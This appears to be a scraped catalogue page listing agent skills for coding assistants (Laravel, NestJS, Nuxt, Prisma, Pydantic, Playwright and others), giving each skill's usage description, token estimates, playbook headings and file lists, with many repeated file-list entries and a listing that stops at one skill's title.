SKILL.mdcore10,664 bytesSKILL.mdcore10,664 bytesSKILL.mdcore10,664 bytesSKILL.mdcore10,664 bytesSKILL.mdcore10,664 bytesSKILL.mdcore10,664 bytesSKILL.mdcore10,664 bytesSKILL.mdcore10,664 bytesSKILL.mdcore10,664 bytesSKILL.mdcore10,664 bytesSKILL.mdcore10,664 bytesSKILL.mdcore10,664 bytesSKILL.mdcore10,664 bytesSKILL.mdcore10,664 bytesSKILL.mdcore10,664 bytesSKILL.mdcore10,664 bytesSKILL.mdcore10,664 bytesSKILL.mdcore10,664 bytesSKILL.mdcore10,664 bytesSKILL.mdcore10,664 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHublaravel-specialist
When your agent uses it
Build and configure Laravel 10+ applications, including creating Eloquent models and relationships, implementing Sanctum authentication, configuring Horizon queues, designing RESTful APIs with API resources, and building reactive interfaces with Livewire. Use when creating Laravel models, setting up queue workers, implementing Sanctum auth flows, building Livewire components, optimising Eloquent queries, or writing Pest/PHPUnit tests for Laravel features.
What it loads into context
Frontmatter
204 tokensAlways available to the agent
SKILL.md
1,947 tokensWhen the skill is activated
Reference documents
11,715 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Workflow
- Reference Guide
- Constraints
- Code Templates
- Validation Checkpoints
- Knowledge Reference
Files
SKILL.mdcore8,524 bytesSKILL.mdcore8,524 bytesSKILL.mdcore8,524 bytesSKILL.mdcore8,524 bytesSKILL.mdcore8,524 bytesSKILL.mdcore8,524 bytesSKILL.mdcore8,524 bytesSKILL.mdcore8,524 bytesSKILL.mdcore8,524 bytesSKILL.mdcore8,524 bytesSKILL.mdcore8,524 bytesSKILL.mdcore8,524 bytesSKILL.mdcore8,524 bytesSKILL.mdcore8,524 bytesreferences/eloquent.mddoc7,513 bytesreferences/livewire.mddoc11,177 bytesreferences/queues.mddoc9,395 bytesreferences/routing.mddoc8,635 bytesreferences/testing.mddoc12,336 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubMachine Learning
When your agent uses it
Python machine learning with scikit-learn, PyTorch, and TensorFlow
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
303 tokensWhen the skill is activated
Reference documents
748 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Topics Covered
- Prerequisites
- Learning Outcomes
Scripts executed separately
scripts/validate.py
Files
SKILL.mdcore1,306 bytesassets/config.yamlasset699 bytesassets/schema.jsonasset1,179 bytesreferences/GUIDE.mddoc1,902 bytesreferences/PATTERNS.mddoc1,539 bytesscripts/validate.pyruns3,784 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubmigrate-to-vinext
When your agent uses it
Migrates Next.js projects to vinext (Vite-based Next.js reimplementation). Load when asked to migrate, convert, or switch from Next.js to vinext. Handles compatibility scanning, package replacement, Vite config generation, ESM conversion, and deployment setup (Cloudflare Workers natively, other platforms via Nitro).
What it loads into context
Frontmatter
75 tokensAlways available to the agent
SKILL.md
2,553 tokensWhen the skill is activated
Reference documents
3,990 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- FIRST: Verify Next.js Project
- Quick Reference
- Phase 1: Check Compatibility
- Phase 2: Automated Migration (Recommended)
- Phase 3: Manual Migration
- Phase 4: Deployment (Optional)
- Phase 5: Verify
- Known Limitations
- Anti-patterns
Files
SKILL.mdcore10,922 bytesSKILL.mdcore10,922 bytesSKILL.mdcore10,922 bytesSKILL.mdcore10,922 bytesSKILL.mdcore10,922 bytesreferences/compatibility.mddoc6,682 bytesreferences/config-examples.mddoc6,092 bytesreferences/troubleshooting.mddoc6,006 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubneon-postgres
When your agent uses it
Guides and best practices for working with Lakebase Postgres on Neon: connections, pooled vs direct, schema migrations, branching, autoscaling, scale-to-zero, instant restore, read replicas, IP allow lists, logical replication, and Lakebase Search. Use when the work is an existing DATABASE_URL, SQL, schema, inspect, or search. New backends, Auth, files, Functions, and LLM calls go to the parent `neon` skill. Also use for "@neondatabase/serverless", "@neondatabase/neon-js", "neon inspect db", "semantic search", "vector search", "full-text search", "BM25", or "hybrid search".
What it loads into context
Frontmatter
192 tokensAlways available to the agent
SKILL.md
3,674 tokensWhen the skill is activated
Reference documents
7,338 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Setup Flow
- Branching
- Migrations
- Troubleshooting and Neon-Specific Performance
- Autoscaling
- Scale to Zero
- Instant Restore
- Read Replicas
- Connection Pooling
- IP Allow Lists
- Logical Replication
- Lakebase Search
- Gotchas
Files
SKILL.mdcore16,653 bytesSKILL.mdcore16,653 bytesSKILL.mdcore16,653 bytesSKILL.mdcore16,653 bytesreferences/full-text-search.mddoc4,324 bytesreferences/hybrid-search.mddoc4,914 bytesreferences/lakebase-search-drizzle.mddoc9,807 bytesreferences/vector-search.mddoc12,216 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubnestjs-best-practices
When your agent uses it
NestJS best practices and architecture patterns for building production-ready applications. This skill should be used when writing, reviewing, or refactoring NestJS code to ensure proper patterns for modules, dependency injection, security, and performance.
What it loads into context
Frontmatter
78 tokensAlways available to the agent
SKILL.md
1,173 tokensWhen the skill is activated
Reference documents
37,052 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Apply
- Rule Categories by Priority
- Quick Reference
- How to Use
- Full Compiled Document
Files
SKILL.mdcore4,754 bytesrules/_sections.mddoc2,153 bytesrules/_template.mddoc631 bytesrules/api-use-dto-serialization.mddoc4,385 bytesrules/api-use-interceptors.mddoc5,518 bytesrules/api-use-pipes.mddoc5,386 bytesrules/api-versioning.mddoc4,986 bytesrules/arch-avoid-circular-deps.mddoc2,021 bytesrules/arch-feature-modules.mddoc2,316 bytesrules/arch-module-sharing.mddoc3,876 bytesrules/arch-single-responsibility.mddoc2,922 bytesrules/arch-use-events.mddoc3,051 bytesrules/arch-use-repository-pattern.mddoc2,861 bytesrules/db-avoid-n-plus-one.mddoc3,888 bytesrules/db-use-migrations.mddoc3,837 bytesrules/db-use-transactions.mddoc4,023 bytesrules/devops-graceful-shutdown.mddoc5,916 bytesrules/devops-use-config-module.mddoc4,446 bytesrules/devops-use-logging.mddoc5,693 bytesrules/di-avoid-service-locator.mddoc2,981 bytesrules/di-interface-segregation.mddoc5,224 bytesrules/di-liskov-substitution.mddoc7,275 bytesrules/di-prefer-constructor-injection.mddoc2,309 bytesrules/di-scope-awareness.mddoc2,618 bytesrules/di-use-interfaces-tokens.mddoc2,588 bytesrules/error-handle-async-errors.mddoc3,531 bytesrules/error-throw-http-exceptions.mddoc3,181 bytesrules/error-use-exception-filters.mddoc3,695 bytesrules/micro-use-health-checks.mddoc5,985 bytesrules/micro-use-patterns.mddoc5,102 bytesrules/micro-use-queues.mddoc6,214 bytesrules/perf-async-hooks.mddoc2,918 bytesrules/perf-lazy-loading.mddoc3,822 bytesrules/perf-optimize-database.mddoc3,276 bytesrules/perf-use-caching.mddoc3,524 bytesrules/security-auth-jwt.mddoc4,083 bytesrules/security-rate-limiting.mddoc3,324 bytesrules/security-sanitize-output.mddoc3,815 bytesrules/security-use-guards.mddoc3,647 bytesrules/security-validate-all-input.mddoc3,393 bytesrules/test-e2e-supertest.mddoc4,800 bytesrules/test-mock-external-services.mddoc4,613 bytesrules/test-use-testing-module.mddoc4,392 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubnext-cache-components-adoption
When your agent uses it
Turn on Cache Components in a Next.js app and resolve the blocking routes it surfaces. Use when the user wants to enable, adopt, or migrate to Cache Components, flip the `cacheComponents` flag, work through a flood of blocking-prerender / instant validation errors, run the `cache-components-instant-false` codemod, or decide between opting routes out with `export const instant = false` and fixing them in place.
What it loads into context
Frontmatter
111 tokensAlways available to the agent
SKILL.md
7,589 tokensWhen the skill is activated
Reference documents
1,599 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- requires
- the shape of the work
- background
- working surfaces
- step 1: choose a strategy
- step 2: the inner loop, remove opt-outs one feature at a time
- step 3: verify the feature
- further reading
Files
SKILL.mdcore33,348 bytesSKILL.mdcore33,348 bytesSKILL.mdcore33,348 bytesSKILL.mdcore33,348 bytesSKILL.mdcore33,348 bytesSKILL.mdcore33,348 bytesreferences/dev-only-validations.mddoc3,356 bytesreferences/per-page-decisions.mddoc3,911 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubnodejs-backend-patterns
When your agent uses it
Build production-ready Node.js backend services with Express/Fastify, implementing middleware patterns, error handling, authentication, database integration, and API design best practices. Use when creating Node.js servers, REST APIs, GraphQL backends, or microservices architectures.
What it loads into context
Frontmatter
62 tokensAlways available to the agent
SKILL.md
417 tokensWhen the skill is activated
Reference documents
5,807 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- Detailed patterns and worked examples
- Best Practices
- Testing Patterns
Files
SKILL.mdcore1,995 bytesreferences/advanced-patterns.mddoc9,405 bytesreferences/details.mddoc15,001 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubnodejs-best-practices
When your agent uses it
Node.js development principles and decision-making. Framework selection, async patterns, security, and architecture. Teaches thinking, not copying.
What it loads into context
Frontmatter
57 tokensAlways available to the agent
SKILL.md
2,032 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- ⚠<U+FE0F> How to Use This Skill
- 1. Framework Selection (2025)
- 2. Runtime Considerations (2025)
- 3. Architecture Principles
- 4. Error Handling Principles
- 5. Async Patterns Principles
- 6. Validation Principles
- 7. Security Principles
- 8. Testing Principles
- 9. Anti-Patterns to Avoid
- 10. Decision Checklist
- Limitations
Files
SKILL.mdcore8,773 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubnodejs-express-server
When your agent uses it
Build production-ready Express.js servers with middleware, authentication, routing, and database integration. Use when creating REST APIs, managing requests/responses, implementing middleware chains, and handling server logic.
What it loads into context
Frontmatter
52 tokensAlways available to the agent
SKILL.md
666 tokensWhen the skill is activated
Reference documents
1,631 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Table of Contents
- Overview
- When to Use
- Quick Start
- Reference Guides
- Best Practices
Scripts executed separately
scripts/security-checklist.sh
Files
SKILL.mdcore3,189 bytesreferences/authentication-with-jwt.mddoc832 bytesreferences/basic-express-setup.mddoc626 bytesreferences/database-integration-postgresql-with-sequelize.mddoc830 bytesreferences/environment-configuration.mddoc462 bytesreferences/error-handling-middleware.mddoc877 bytesreferences/middleware-chain-implementation.mddoc999 bytesreferences/restful-routes-with-crud-operations.mddoc1,790 bytesscripts/security-checklist.shruns734 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubnuxt
When your agent uses it
Nuxt full-stack Vue framework with SSR, auto-imports, and file-based routing. Use when working with Nuxt apps, server routes, useFetch, middleware, or hybrid rendering.
What it loads into context
Frontmatter
92 tokensAlways available to the agent
SKILL.md
1,123 tokensWhen the skill is activated
Reference documents
33,517 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core
- Features
- Rendering
- Best Practices
- Advanced
Files
GENERATION.mddoc134 bytesSKILL.mdcore4,595 bytesreferences/advanced-hooks.mddoc6,801 bytesreferences/advanced-layers.mddoc5,224 bytesreferences/advanced-module-authoring.mddoc14,467 bytesreferences/best-practices-data-fetching.mddoc9,220 bytesreferences/best-practices-ssr.mddoc6,715 bytesreferences/core-cli.mddoc4,646 bytesreferences/core-config.mddoc8,149 bytesreferences/core-data-fetching.mddoc10,134 bytesreferences/core-deployment.mddoc4,859 bytesreferences/core-directory-structure.mddoc8,879 bytesreferences/core-modules.mddoc5,512 bytesreferences/core-routing.mddoc6,006 bytesreferences/features-components-autoimport.mddoc6,092 bytesreferences/features-components.mddoc5,841 bytesreferences/features-composables.mddoc7,074 bytesreferences/features-server.mddoc9,805 bytesreferences/features-state.mddoc4,014 bytesreferences/rendering-modes.mddoc5,656 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHuborganization-best-practices
When your agent uses it
Configure multi-tenant organizations, manage members and invitations, define custom roles and permissions, set up teams, and implement RBAC using Better Auth's organization plugin. Use when users need org setup, team management, member roles, access control, or the Better Auth organization plugin.
What it loads into context
Frontmatter
65 tokensAlways available to the agent
SKILL.md
2,496 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Setup
- Creating Organizations
- Active Organizations
- Members
- Invitations
- Roles & Permissions
- Teams
- Dynamic Access Control
- Lifecycle Hooks
- Schema Customization
- Security Considerations
- Complete Configuration Example
Files
SKILL.mdcore11,060 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHuboxlint
When your agent uses it
Run and configure oxlint — the high-performance JavaScript/TypeScript linter built on the Oxc compiler stack. Use this skill whenever working in a project that has oxlint installed (check for `oxlint` in package.json devDependencies or an `.oxlintrc.json` / `oxlint.config.ts` config file). This includes when you need to lint code after making changes, fix linting errors, configure oxlint rules/plugins, set up or modify `.oxlintrc.json`, or migrate from ESLint.
What it loads into context
Frontmatter
116 tokensAlways available to the agent
SKILL.md
2,079 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection
- Running Oxlint
- Configuration
- CLI Quick Reference
- Suppressing rules inline
- Migrating from ESLint
- Supported file types
Files
SKILL.mdcore7,934 bytesSKILL.mdcore7,934 bytesSKILL.mdcore7,934 bytesSKILL.mdcore7,934 bytesSKILL.mdcore7,934 bytesSKILL.mdcore7,934 bytesSKILL.mdcore7,934 bytesSKILL.mdcore7,934 bytesSKILL.mdcore7,934 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubPandas Data Analysis
When your agent uses it
Master data manipulation, analysis, and visualization with Pandas, NumPy, and Matplotlib
What it loads into context
Frontmatter
90 tokensAlways available to the agent
SKILL.md
1,886 tokensWhen the skill is activated
Reference documents
6 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Learning Objectives
- Core Topics
- Hands-On Practice
- Assessment Criteria
- Resources
- Next Steps
Scripts executed separately
scripts/helper.py
Files
SKILL.mdcore7,498 bytesSKILL.mdcore7,498 bytesSKILL.mdcore7,498 bytesSKILL.mdcore7,498 bytesSKILL.mdcore7,498 bytesassets/config.yamlasset35 bytesreferences/GUIDE.mddoc29 bytesscripts/helper.pyruns98 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubpandas-pro
When your agent uses it
Performs pandas DataFrame operations for data analysis, manipulation, and transformation. Use when working with pandas DataFrames, data cleaning, aggregation, merging, or time series analysis. Invoke for data manipulation tasks such as joining DataFrames on multiple keys, pivoting tables, resampling time series, handling NaN values with interpolation or forward-fill, groupby aggregations, type conversion, or performance optimization of large datasets.
What it loads into context
Frontmatter
195 tokensAlways available to the agent
SKILL.md
1,496 tokensWhen the skill is activated
Reference documents
17,921 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Workflow
- Reference Guide
- Code Patterns
- Constraints
- Output Templates
Files
SKILL.mdcore6,177 bytesSKILL.mdcore6,177 bytesSKILL.mdcore6,177 bytesSKILL.mdcore6,177 bytesSKILL.mdcore6,177 bytesSKILL.mdcore6,177 bytesSKILL.mdcore6,177 bytesSKILL.mdcore6,177 bytesSKILL.mdcore6,177 bytesSKILL.mdcore6,177 bytesSKILL.mdcore6,177 bytesreferences/aggregation-groupby.mddoc13,206 bytesreferences/data-cleaning.mddoc12,969 bytesreferences/dataframe-operations.mddoc9,667 bytesreferences/merging-joining.mddoc13,517 bytesreferences/performance-optimization.mddoc15,068 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubphp-pro
When your agent uses it
Use when building PHP applications with modern PHP 8.3+ features, Laravel, or Symfony frameworks. Invokes strict typing, PHPStan level 9, async patterns with Swoole, and PSR standards. Creates controllers, configures middleware, generates migrations, writes PHPUnit/Pest tests, defines typed DTOs and value objects, sets up dependency injection, and scaffolds REST/GraphQL APIs. Use when working with Eloquent, Doctrine, Composer, Psalm, ReactPHP, or any PHP API development.
What it loads into context
Frontmatter
210 tokensAlways available to the agent
SKILL.md
1,487 tokensWhen the skill is activated
Reference documents
11,377 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Workflow
- Reference Guide
- Constraints
- Code Patterns
- Output Templates
- Knowledge Reference
Files
SKILL.mdcore6,250 bytesSKILL.mdcore6,250 bytesSKILL.mdcore6,250 bytesSKILL.mdcore6,250 bytesSKILL.mdcore6,250 bytesreferences/async-patterns.mddoc9,047 bytesreferences/laravel-patterns.mddoc8,919 bytesreferences/modern-php-features.mddoc6,403 bytesreferences/symfony-patterns.mddoc11,358 bytesreferences/testing-quality.mddoc11,466 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubplan-tests
When your agent uses it
Use when choosing the first failing spec for a Rails change. One minimal example opens the gate. Trigger words: first failing test, what test first, TDD, spec selection.
What it loads into context
Frontmatter
76 tokensAlways available to the agent
SKILL.md
1,280 tokensWhen the skill is activated
Reference documents
1,705 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Reference
- HARD-GATE
- Core Process
- Extended Resources (Progressive Disclosure)
- Output Style
Files
SKILL.mdcore5,584 bytesassets/first_slice_template.mddoc1,143 bytes../test-service/SKILL.mddoc5,856 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubplaywright-best-practices
When your agent uses it
Use when writing Playwright tests, fixing flaky tests, debugging failures, implementing Page Object Model, configuring CI/CD, optimizing performance, mocking APIs, handling authentication or OAuth, testing accessibility (axe-core), file uploads/downloads, date/time mocking, WebSockets, geolocation, permissions, multi-tab/popup flows, mobile/responsive layouts, touch gestures, GraphQL, error handling, offline mode, multi-user collaboration, third-party services (payments, email verification), console error monitoring, global setup/teardown, test annotations (skip, fixme, slow), test tags (@smoke, @fast, @critical, filtering with --grep), project dependencies, security testing (XSS, CSRF, auth), performance budgets (Web Vitals, Lighthouse), iframes, component testing, canvas/WebGL, service workers/PWA, test coverage, i18n/localization, Electron apps, or browser extension testing. Covers E2E, component, API, visual, accessibility, security, Electron, and extension testing.
What it loads into context
Frontmatter
237 tokensAlways available to the agent
SKILL.md
4,919 tokensWhen the skill is activated
Reference documents
177,781 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Activity-Based Reference Guide
- Quick Decision Tree
- Test Validation Loop
Files
SKILL.mdcore26,306 bytesadvanced/authentication-flows.mddoc10,871 bytesadvanced/authentication.mddoc30,857 bytesadvanced/clock-mocking.mddoc9,872 bytesadvanced/mobile-testing.mddoc10,993 bytesadvanced/multi-context.mddoc8,570 bytesadvanced/multi-user.mddoc11,490 bytesadvanced/network-advanced.mddoc11,106 bytesadvanced/third-party.mddoc12,163 bytesarchitecture/pom-vs-fixtures.mddoc11,261 bytesarchitecture/test-architecture.mddoc14,839 bytesarchitecture/when-to-mock.mddoc11,346 bytesbrowser-apis/browser-apis.mddoc10,717 bytesbrowser-apis/iframes.mddoc11,634 bytesbrowser-apis/service-workers.mddoc13,813 bytesbrowser-apis/websockets.mddoc10,597 bytescore/annotations.mddoc10,864 bytescore/assertions-waiting.mddoc9,459 bytescore/configuration.mddoc12,611 bytescore/fixtures-hooks.mddoc11,802 bytescore/global-setup.mddoc12,885 bytescore/locators.mddoc6,528 bytescore/page-object-model.mddoc8,110 bytescore/projects-dependencies.mddoc8,949 bytescore/test-data.mddoc12,082 bytescore/test-suite-structure.mddoc9,550 bytescore/test-tags.mddoc7,080 bytesdebugging/console-errors.mddoc10,093 bytesdebugging/debugging.mddoc15,097 bytesdebugging/error-testing.mddoc9,694 bytesdebugging/flaky-tests.mddoc15,094 bytesframeworks/angular.mddoc18,606 bytesframeworks/nextjs.mddoc13,273 bytesframeworks/react.mddoc17,650 bytesframeworks/vue.mddoc17,005 bytesinfrastructure-ci-cd/ci-cd.mddoc10,006 bytesinfrastructure-ci-cd/docker.mddoc6,262 bytesinfrastructure-ci-cd/github-actions.mddoc13,383 bytesinfrastructure-ci-cd/gitlab.mddoc10,647 bytesinfrastructure-ci-cd/other-providers.mddoc13,732 bytesinfrastructure-ci-cd/parallel-sharding.mddoc11,579 bytesinfrastructure-ci-cd/performance.mddoc11,867 bytesinfrastructure-ci-cd/reporting.mddoc10,492 bytesinfrastructure-ci-cd/test-coverage.mddoc12,725 bytestesting-patterns/accessibility.mddoc9,176 bytestesting-patterns/api-testing.mddoc24,927 bytestesting-patterns/browser-extensions.mddoc13,826 bytestesting-patterns/canvas-webgl.mddoc13,183 bytestesting-patterns/component-testing.mddoc11,701 bytestesting-patterns/drag-drop.mddoc18,124 bytestesting-patterns/electron.mddoc13,512 bytestesting-patterns/file-operations.mddoc10,447 bytestesting-patterns/file-upload-download.mddoc17,233 bytestesting-patterns/forms-validation.mddoc22,177 bytestesting-patterns/graphql-testing.mddoc8,714 bytestesting-patterns/i18n.mddoc13,134 bytestesting-patterns/performance-testing.mddoc12,566 bytestesting-patterns/security-testing.mddoc12,145 bytestesting-patterns/visual-regression.mddoc17,765 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubPR Review
When your agent uses it
Guidelines and tools for reviewing pull requests in the Angular repository.
What it loads into context
Frontmatter
19 tokensAlways available to the agent
SKILL.md
2,362 tokensWhen the skill is activated
Reference documents
947 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Available Tools
Scripts executed separately
scripts/determine_review_type.shscripts/get_pr_comments.shscripts/post_inline_comment.shscripts/reply_pr_comment.shscripts/submit_pr_review.sh
Files
SKILL.mdcore10,814 bytesSKILL.mdcore10,814 bytesSKILL.mdcore10,814 bytesSKILL.mdcore10,814 bytesSKILL.mdcore10,814 bytesSKILL.mdcore10,814 bytesSKILL.mdcore10,814 bytesSKILL.mdcore10,814 bytesSKILL.mdcore10,814 bytesreference/object_create_null.mddoc3,448 bytesreference/router.mddoc883 bytesscripts/determine_review_type.shruns940 bytesscripts/get_pr_comments.shruns750 bytesscripts/post_inline_comment.shruns1,264 bytesscripts/reply_pr_comment.shruns889 bytesscripts/submit_pr_review.shruns1,448 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubprisma-cli
When your agent uses it
Prisma ORM 7 CLI reference for existing Prisma 7 applications or explicitly selected Prisma 7 workflows. Covers prisma init, generate, migrate, db, dev, studio, and mcp. For setup, connection repair, or Prisma 8, use prisma-orm-setup; not the Prisma Platform CLI.
What it loads into context
Frontmatter
90 tokensAlways available to the agent
SKILL.md
1,751 tokensWhen the skill is activated
Reference documents
10,359 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Boundary: Platform and Compute
- When to Apply
- Rule Categories by Priority
- Command Categories
- Quick Reference
- AI Safety Checkpoint
- Current Prisma CLI Setup
- Rule Files
- How to Use
Files
SKILL.mdcore7,508 bytesSKILL.mdcore7,508 bytesSKILL.mdcore7,508 bytesSKILL.mdcore7,508 bytesSKILL.mdcore7,508 bytesSKILL.mdcore7,508 bytesSKILL.mdcore7,508 bytesSKILL.mdcore7,508 bytesSKILL.mdcore7,508 bytesreferences/agent-safety.mddoc1,084 bytesreferences/complete.mddoc652 bytesreferences/db-execute.mddoc1,836 bytesreferences/db-pull.mddoc3,574 bytesreferences/db-push.mddoc2,990 bytesreferences/db-seed.mddoc3,323 bytesreferences/debug.mddoc1,062 bytesreferences/dev.mddoc2,662 bytesreferences/format.mddoc1,061 bytesreferences/generate.mddoc3,508 bytesreferences/init.mddoc3,245 bytesreferences/mcp.mddoc1,236 bytesreferences/migrate-deploy.mddoc2,636 bytesreferences/migrate-dev.mddoc3,136 bytesreferences/migrate-diff.mddoc2,088 bytesreferences/migrate-reset.mddoc1,732 bytesreferences/migrate-resolve.mddoc1,671 bytesreferences/migrate-status.mddoc1,520 bytesreferences/studio.mddoc2,668 bytesreferences/validate.mddoc883 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubprisma-client-api
When your agent uses it
Prisma Client API reference covering model queries, filters, operators, and client methods. Use when writing database queries, using CRUD operations, filtering data, or configuring Prisma Client. Triggers on "prisma query", "findMany", "create", "update", "delete", "$transaction".
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
1,554 tokensWhen the skill is activated
Reference documents
8,875 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Apply
- Rule Categories by Priority
- Quick Reference
- Client Instantiation
- Model Query Methods
- Query Options
- Client Methods
- Quick Examples
- Rule Files
- Filter Operators
- Relation Filters
- Resources
- How to Use
Files
SKILL.mdcore6,346 bytesreferences/client-methods.mddoc4,027 bytesreferences/constructor.mddoc4,909 bytesreferences/filters.mddoc3,458 bytesreferences/model-queries.mddoc4,770 bytesreferences/query-options.mddoc4,047 bytesreferences/raw-queries.mddoc4,362 bytesreferences/relations.mddoc4,435 bytesreferences/transactions.mddoc3,824 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubprisma-database-setup
When your agent uses it
Deprecated compatibility name for prisma-orm-setup. Use only when a user or existing integration explicitly invokes prisma-database-setup; otherwise select prisma-orm-setup.
What it loads into context
Frontmatter
65 tokensAlways available to the agent
SKILL.md
167 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Files
SKILL.mdcore704 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubprisma-postgres
When your agent uses it
Deprecated compatibility name for prisma-postgres-setup. Use only when a user or existing integration explicitly invokes prisma-postgres; otherwise select prisma-postgres-setup.
What it loads into context
Frontmatter
61 tokensAlways available to the agent
SKILL.md
144 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Files
SKILL.mdcore648 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubpydantic
When your agent uses it
Python data validation using type hints and runtime type checking with Pydantic v2's Rust-powered core for high-performance validation in FastAPI, Django, and configuration management.
What it loads into context
Frontmatter
104 tokensAlways available to the agent
SKILL.md
8,288 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Summary
- When to Use
- Quick Start
- Core Concepts
- Pydantic v2 Improvements
- Field Types
- Validators
- Type Coercion and Strict Mode
- Nested Models and Recursive Types
- Generic Models
- Serialization
- Settings Management
- FastAPI Integration
- SQLAlchemy Integration
- Django Integration
- Computed Fields
- Custom Errors
- Performance Optimization
- JSON Schema Generation
- Dataclass Integration
- Testing Strategies
- Migration Guide (v1 → v2)
- Best Practices
- Common Patterns
- Related Skills
- Additional Resources
Files
SKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesSKILL.mdcore33,707 bytesmetadata.jsonasset617 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubpython-background-jobs
When your agent uses it
Python background job patterns including task queues, workers, and event-driven architecture. Use when implementing async task processing, job queues, long-running operations, or decoupling work from request/response cycles.
What it loads into context
Frontmatter
49 tokensAlways available to the agent
SKILL.md
1,667 tokensWhen the skill is activated
Reference documents
797 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- Core Concepts
- Quick Start
- Fundamental Patterns
- Detailed worked examples and patterns
- Best Practices Summary
Files
SKILL.mdcore7,312 bytesSKILL.mdcore7,312 bytesSKILL.mdcore7,312 bytesSKILL.mdcore7,312 bytesSKILL.mdcore7,312 bytesSKILL.mdcore7,312 bytesreferences/details.mddoc3,429 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubpython-executor
When your agent uses it
